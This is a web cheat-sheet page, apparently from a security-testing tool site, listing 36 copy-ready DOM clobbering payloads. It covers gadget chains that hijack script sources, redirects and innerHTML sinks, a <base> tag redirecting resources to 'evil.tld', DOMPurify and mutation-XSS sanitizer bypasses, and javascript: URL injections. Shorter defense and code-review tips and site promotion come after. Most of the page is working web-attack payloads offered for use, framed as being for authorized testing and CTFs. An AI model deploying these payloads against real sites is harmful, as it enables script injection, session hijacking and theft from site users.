DOM clobbering payloads that overwrite JavaScript variables via id/name attributes — gadget chains, sanitizer bypass, and defenses for HTML-injection where scripts are blocked. (36 payloads)
<a id=x href="https://evil.tld"></a> → x === window.x === the <a> element<form id=config><input name=apiUrl value="//evil.tld"></form> → config.apiUrl.value<img name=getElementById> → document.getElementById is now the <img>, not the function<a id=x></a><a id=x name=y href="javascript:alert(1)"></a> → x is an HTMLCollection; x.y is the 2nd anchor<button id=submit> inside a form → form.submit is the button, breaking form.submit()var x = window.x || {}; → becomes the clobbered element when x is undefined<a id=cdnUrl href="https://evil.tld/x.js"></a> → String(cdnUrl) === 'https://evil.tld/x.js'<a id=cfg href="javascript:alert(document.domain)"></a> → location = cfg.href / x.src = cfg<form id=token><output name=value>SECRET_OVERRIDE</output></form> → token.value coerces via the form named getter<a id=length href=#></a><a id=length></a> → length becomes an HTMLCollection (length property = 2)<base href="https://evil.tld/"> → relative script/img/fetch URLs now resolve to evil.tld<iframe name=self srcdoc="<script>top.x=1</script>"></iframe> → window.self / named frame access<form id=a><form id=a name=b><input id=b name=c value=PWN></form></form> → a.b.c.value<a id=x><a id=x name=y href="https://evil.tld"></a> → x.y === the 2nd anchor; x.y reachable as a 2-level chain<form id=cfg><input name=a><form name=a><input name=b value=...></form></form> (collection on cfg.a → cfg.a.b)<input id=x><input id=x name=attributes> → x.attributes clobbers the NamedNodeMap accessorwindow.__proto__ is NOT clobberable, but window.foo.bar where foo is undefined IS<a id=defaultAvatar href="//evil.tld/x"></a> (no <script>, no on* handlers)DOMPurify default config ALLOWS id and name → clobbering passes unless SANITIZE_NAMED_PROPS / ALLOW_* is tuned<form><math><mtext></form><form><mglyph><style></math><img src=x onerror=...> (mutation/mXSS to smuggle nodes)<template id=x><script>...</script></template> → inert content survives some sanitizersid=USERNAME with mixed case / Unicode → named access is case-sensitive for the property keySanitizer API (built-in): new Sanitizer() / element.setHTML() — verify it drops id/name for your sinkSink: let s=document.createElement('script'); s.src=window.config.cdn; document.head.append(s) → clobber window.config.cdn with an <a> chainSink: location = window.redirectUrl || '/' → <a id=redirectUrl href="javascript:..."> or open redirectSink: el.innerHTML = window.tpl / $(window.widgetHtml).appendTo(...) → clobber to an element whose stringification is markupAnalytics/feature-flag gadget: if (window.FEATURES && window.FEATURES.debug) {...} → <form id=FEATURES><input name=debug value=1>Library gadgets: clobber a global the framework reads at init (e.g. window.__INITIAL_STATE__, hydration globals)Form-action / CSRF gadget: <form id=x action="https://evil.tld"> reachable as x.action when code reads itCode review: search for reads of undeclared globals and document.X — `Object.keys(window).filter(k=>document.getElementById(k))`Strip id and name in the sanitizer: DOMPurify({SANITIZE_NAMED_PROPS:true}) or FORBID_ATTR:['id','name']Always declare variables: `const config = ...` / `let x;` instead of relying on `window.x`Use explicit DOM APIs: document.getElementById(id) returns null if missing — but capture the function reference earlySet CSP base-uri 'none' (or 'self') and a strict default-src to blunt <base> and script-source hijacksTest harness: inject candidate gadgets, then read the target global in console — `<a id=TARGET href=//x>` then `typeof window.TARGET`Lint rule: forbid implicit globals; build step: bundle in strict mode; runtime: 'use strict' at module topLevel up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides
It's a quick-reference collection of 36 DOM Clobbering payloads for testing DOM Clobbering vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.
Copy any payload straight into your authorized test, or use the XSS Sandbox to apply them interactively. Only test systems you have explicit permission to assess.
Yes — this cheat sheet and all DOM Clobbering payloads are completely free, with no account required. Everything runs in your browser.